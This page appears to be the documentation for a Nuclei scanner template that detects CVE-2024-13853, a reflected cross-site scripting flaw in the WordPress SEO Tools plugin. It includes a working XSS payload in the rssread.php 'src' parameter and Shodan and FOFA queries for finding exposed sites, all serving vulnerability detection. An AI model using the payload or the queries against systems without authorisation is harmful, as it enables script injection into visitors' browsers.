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WordPress SEO Tools Plugin 4.0.7 - Cross-Site Scripting

ID: CVE-2024-13853

Severity: medium

Author: ritikchaddha

Tags: cve,cve2024,wp,wordpress,wp-plugin,xss,seo-automatic-seo-tools

Description

Section titled “Description”

The SEO Tools WordPress plugin through version 4.0.7 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the ‘src’ parameter in the rssread.php file before outputting it back in the page, which could allow attackers to execute arbitrary JavaScript code in a victim’s browser.

YAML Source

Section titled “YAML Source”
id: CVE-2024-13853


info:
  name: WordPress SEO Tools Plugin 4.0.7 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The SEO Tools WordPress plugin through version 4.0.7 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the 'src' parameter in the rssread.php file before outputting it back in the page, which could allow attackers to execute arbitrary JavaScript code in a victim's browser.
  reference:
    - https://wpscan.com/vulnerability/52991dd9-41f7-4cf8-b8c9-56dd4e62bf0c
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13853
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13853
    cwe-id: CWE-79
  metadata:
    max-request: 1
    vendor: WordPress
    product: seo-automatic-seo-tools
    shodan-query: http.html:"seo-automatic-seo-tools"
    fofa-query: body="wp-content/plugins/seo-automatic-seo-tools/"
  tags: cve,cve2024,wp,wordpress,wp-plugin,xss,seo-automatic-seo-tools


flow: http(1) && http(2)


http:
  - method: GET
    path:
      - "{{BaseURL}}"


    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - 'seo-automatic-seo-tools'
        internal: true


  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/seo-automatic-seo-tools/feedcommander/rssread.php?src=1%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cscript%3E"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script><script>'
        condition: and


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ae0b17f26705d4c092f581841a2a11e7103e5e87e7dafeb97c4f40cca01a3219022001e26f620cad3a1a2dcd6d3fbb936c2c88efa458cbf44282e2622b8d89220020:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-13853.yaml"

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